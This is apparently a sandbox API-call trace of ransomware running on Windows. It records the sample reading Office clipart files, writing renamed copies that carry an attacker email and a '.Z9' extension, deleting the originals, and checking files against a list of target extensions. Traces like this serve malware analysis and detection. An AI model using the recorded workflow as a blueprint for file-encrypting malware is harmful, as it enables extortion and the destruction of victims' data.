	[0165.247] WriteFile (in: hFile=0x470, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.247] SetEndOfFile (hFile=0x470) returned 1
	[0165.247] CloseHandle (hObject=0x470) returned 1
	[0165.247] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.247] SetEndOfFile (hFile=0x440) returned 1
	[0165.251] CloseHandle (hObject=0x440) returned 1
	[0165.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1
	[0165.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.252] lstrlenW (lpString=".doc") returned 4
	[0165.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.253] lstrlenW (lpString=".docx") returned 5
	[0165.253] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0165.253] lstrlenW (lpString=".pdf") returned 4
	[0165.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.253] lstrlenW (lpString=".xls") returned 4
	[0165.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.253] lstrlenW (lpString=".xlsx") returned 5
	[0165.253] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0165.253] lstrlenW (lpString=".ppt") returned 4
	[0165.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.253] lstrlenW (lpString=".zip") returned 4
	[0165.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.253] lstrlenW (lpString=".rar") returned 4
	[0165.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.253] lstrlenW (lpString=".bz2") returned 4
	[0165.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.253] lstrlenW (lpString=".7z") returned 3
	[0165.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.253] lstrlenW (lpString=".dbf") returned 4
	[0165.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.253] lstrlenW (lpString=".1cd") returned 4
	[0165.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.254] lstrlenW (lpString=".jpg") returned 4
	[0165.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.254] lstrlenW (lpString=".doc") returned 4
	[0165.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.254] lstrlenW (lpString=".docx") returned 5
	[0165.254] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0165.254] lstrlenW (lpString=".pdf") returned 4
	[0165.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.254] lstrlenW (lpString=".xls") returned 4
	[0165.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.254] lstrlenW (lpString=".xlsx") returned 5
	[0165.254] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0165.254] lstrlenW (lpString=".ppt") returned 4
	[0165.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.254] lstrlenW (lpString=".zip") returned 4
	[0165.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.255] lstrlenW (lpString=".rar") returned 4
	[0165.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.255] lstrlenW (lpString=".bz2") returned 4
	[0165.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.255] lstrlenW (lpString=".7z") returned 3
	[0165.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.255] lstrlenW (lpString=".dbf") returned 4
	[0165.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.255] lstrlenW (lpString=".1cd") returned 4
	[0165.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68
	[0165.255] lstrlenW (lpString=".jpg") returned 4
	[0165.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.255] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.255] lstrlenW (lpString="J0099176.WMF") returned 12
	[0165.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.256] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=2488) returned 1
	[0165.256] CloseHandle (hObject=0x440) returned 1
	[0165.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220
	[0165.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.257] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.257] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0165.259] GetLastError () returned 0x0
	[0165.259] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0165.263] WriteFile (in: hFile=0x470, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0165.265] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.265] WriteFile (in: hFile=0x470, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.265] SetEndOfFile (hFile=0x470) returned 1
	[0165.265] CloseHandle (hObject=0x470) returned 1
	[0165.265] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.265] SetEndOfFile (hFile=0x440) returned 1
	[0165.269] CloseHandle (hObject=0x440) returned 1
	[0165.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1
	[0165.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.497] lstrlenW (lpString=".doc") returned 4
	[0165.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.497] lstrlenW (lpString=".docx") returned 5
	[0165.497] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.497] lstrlenW (lpString=".pdf") returned 4
	[0165.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.497] lstrlenW (lpString=".xls") returned 4
	[0165.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.497] lstrlenW (lpString=".xlsx") returned 5
	[0165.497] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.497] lstrlenW (lpString=".ppt") returned 4
	[0165.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.497] lstrlenW (lpString=".zip") returned 4
	[0165.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.497] lstrlenW (lpString=".rar") returned 4
	[0165.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.497] lstrlenW (lpString=".bz2") returned 4
	[0165.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.497] lstrlenW (lpString=".7z") returned 3
	[0165.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.497] lstrlenW (lpString=".dbf") returned 4
	[0165.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.497] lstrlenW (lpString=".1cd") returned 4
	[0165.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.497] lstrlenW (lpString=".jpg") returned 4
	[0165.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.498] lstrlenW (lpString=".doc") returned 4
	[0165.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.498] lstrlenW (lpString=".docx") returned 5
	[0165.498] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.498] lstrlenW (lpString=".pdf") returned 4
	[0165.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.498] lstrlenW (lpString=".xls") returned 4
	[0165.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.498] lstrlenW (lpString=".xlsx") returned 5
	[0165.498] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.498] lstrlenW (lpString=".ppt") returned 4
	[0165.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.498] lstrlenW (lpString=".zip") returned 4
	[0165.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.498] lstrlenW (lpString=".rar") returned 4
	[0165.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.498] lstrlenW (lpString=".bz2") returned 4
	[0165.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.498] lstrlenW (lpString=".7z") returned 3
	[0165.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.498] lstrlenW (lpString=".dbf") returned 4
	[0165.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.499] lstrlenW (lpString=".1cd") returned 4
	[0165.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0165.499] lstrlenW (lpString=".jpg") returned 4
	[0165.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.499] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.499] lstrlenW (lpString="J0099180.WMF") returned 12
	[0165.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.700] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=3394) returned 1
	[0165.700] CloseHandle (hObject=0x4a8) returned 1
	[0165.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220
	[0165.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.225] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.225] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0166.227] GetLastError () returned 0x0
	[0166.227] ReadFile (in: hFile=0x470, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xd42, lpOverlapped=0x0) returned 1
	[0166.234] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xd50, lpOverlapped=0x0) returned 1
	[0166.236] ReadFile (in: hFile=0x470, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.236] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.236] SetEndOfFile (hFile=0x4b8) returned 1
	[0166.236] CloseHandle (hObject=0x4b8) returned 1
	[0166.236] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.236] SetEndOfFile (hFile=0x470) returned 1
	[0166.239] CloseHandle (hObject=0x470) returned 1
	[0166.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1
	[0166.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.240] lstrlenW (lpString=".doc") returned 4
	[0166.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.240] lstrlenW (lpString=".docx") returned 5
	[0166.240] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0166.240] lstrlenW (lpString=".pdf") returned 4
	[0166.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.240] lstrlenW (lpString=".xls") returned 4
	[0166.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.240] lstrlenW (lpString=".xlsx") returned 5
	[0166.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0166.241] lstrlenW (lpString=".ppt") returned 4
	[0166.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.241] lstrlenW (lpString=".zip") returned 4
	[0166.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.241] lstrlenW (lpString=".rar") returned 4
	[0166.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.241] lstrlenW (lpString=".bz2") returned 4
	[0166.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.241] lstrlenW (lpString=".7z") returned 3
	[0166.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.241] lstrlenW (lpString=".dbf") returned 4
	[0166.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.241] lstrlenW (lpString=".1cd") returned 4
	[0166.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.241] lstrlenW (lpString=".jpg") returned 4
	[0166.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.241] lstrlenW (lpString=".doc") returned 4
	[0166.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.241] lstrlenW (lpString=".docx") returned 5
	[0166.241] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0166.241] lstrlenW (lpString=".pdf") returned 4
	[0166.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.241] lstrlenW (lpString=".xls") returned 4
	[0166.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.241] lstrlenW (lpString=".xlsx") returned 5
	[0166.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0166.242] lstrlenW (lpString=".ppt") returned 4
	[0166.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.242] lstrlenW (lpString=".zip") returned 4
	[0166.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.242] lstrlenW (lpString=".rar") returned 4
	[0166.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.242] lstrlenW (lpString=".bz2") returned 4
	[0166.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.242] lstrlenW (lpString=".7z") returned 3
	[0166.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.242] lstrlenW (lpString=".dbf") returned 4
	[0166.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.242] lstrlenW (lpString=".1cd") returned 4
	[0166.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0166.242] lstrlenW (lpString=".jpg") returned 4
	[0166.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.242] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0166.242] lstrlenW (lpString="J0099191.JPG") returned 12
	[0166.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.243] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=62367) returned 1
	[0166.243] CloseHandle (hObject=0x470) returned 1
	[0166.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220
	[0166.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.244] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.244] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0166.249] GetLastError () returned 0x0
	[0166.249] ReadFile (in: hFile=0x470, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xf39f, lpOverlapped=0x0) returned 1
	[0166.263] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xf3a0, lpOverlapped=0x0) returned 1
